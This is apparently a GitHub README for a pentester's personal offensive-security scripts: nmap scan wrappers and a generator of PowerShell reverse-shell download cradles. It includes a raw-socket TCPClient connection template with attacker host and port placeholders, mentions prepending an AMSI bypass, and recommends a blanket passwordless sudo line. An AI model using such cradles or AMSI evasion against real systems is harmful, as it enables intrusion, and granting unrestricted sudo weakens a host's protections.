Skip to content

Repository files navigation

scripts

Here are a collection of scripts I use regularly for offensive security-related tasks.

Install

# Install dependencies (kali only)
sudo apt install python3-impacket python3-libtmux python3-requests python3-rich python3-urllib3 python3-watchdog

# Clone repo and cd
sudo git clone https://github.com/Mojo8898/scripts.git /opt/scripts
cd /opt/scripts

# Set standalone scripts as to be executable
sudo chmod +x cradle_gen.py scan_machine.py scan_targets.py

sudo ln -s /opt/scripts/scan_machine.py /usr/local/bin/scan_machine.py
sudo ln -s /opt/scripts/scan_targets.py /usr/local/bin/scan_targets.py
sudo ln -s /opt/scripts/cradle_gen.py /usr/local/bin/cradle_gen.py

Some automated scripts including the built-in nmap wrapper require sudo to run properly. Either execute scripts as root or add the following line to the bottom of your /etc/sudoers file using the command sudo visudo to prevent password prompts.

kali    ALL=(ALL) NOPASSWD: ALL

Example Usage

recon_setup.py

Moved to a standalone repo found here.

scan_machine.py

scan_machine.py 10.10.10.10

scan_targets.py

scan_targets.py external_hosts.txt

cradle_gen.py

cradle_gen.py 10.10.10.10 9001 -l

Note:

  • To include an AMSI bypass with the Powercat cradle, create a file named amsi_bypass.txt in this project’s root directory. This file should contain the AMSI bypass code that will be prepended to the generated cradle.
  • To include a raw socket PowerShell cradle, create a file named raw_socket.txt in this project’s root directory. Within this file, define the connection using Python’s string formatting placeholders for lhost and lport. For example:
System.Net.Sockets.TCPClient('{lhost}',{lport})

About

This repository contains a collection of scripts I use regularly for offensive security-related tasks.

Resources

Stars

16 stars

Watchers

1 watching

Forks

Used by

Contributors

Languages